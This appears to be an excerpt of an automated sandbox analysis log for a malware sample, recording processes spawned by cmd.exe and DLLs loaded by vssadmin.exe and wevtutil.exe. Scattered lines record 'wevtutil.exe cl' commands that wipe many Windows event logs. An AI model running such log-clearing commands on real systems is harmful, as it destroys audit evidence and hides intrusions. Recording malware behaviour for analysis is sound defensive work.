Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "EndpointMapper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "FirstUXPerf-Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "General Logging"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Application"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
